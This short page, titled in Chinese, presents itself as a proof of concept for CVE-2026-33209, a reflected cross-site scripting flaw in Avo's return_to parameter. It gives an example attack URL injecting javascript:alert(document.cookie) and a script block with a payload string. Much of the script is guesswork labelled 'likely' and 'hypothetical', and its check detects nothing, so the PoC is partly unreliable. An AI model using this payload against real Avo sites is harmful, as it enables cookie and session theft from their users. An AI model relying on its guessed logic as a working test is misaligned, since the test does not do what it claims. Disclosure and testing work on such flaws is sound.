CVE-2026-33209 Avo return_to参数反射型XSS漏洞

<!-- PoC for CVE-2026-33209: Reflected XSS in Avo return_to parameter Usage: Access the vulnerable URL with the payload and click the dynamic button. --> <!-- Malicious URL Example --> <!-- https://target.com/avo?return_to=javascript:alert(document.cookie) --> <script> // Simulated payload that would be injected via the 'return_to' parameter // In a real attack, this is triggered by the UI action. console.log("[PoC] Attempting to trigger XSS via return_to parameter..."); // The vulnerable component likely constructs a link or button like this: // <a href="[USER_INPUT]">Go Back</a> // Where [USER_INPUT] is the value of 'return_to'. var maliciousPayload = "javascript:alert('CVE-2026-33209 XSS Triggered');"; // Hypothetical Check: if (window.location.href.includes("return_to")) { alert("If you clicked a navigation button and saw an alert, the system is vulnerable."); } </script>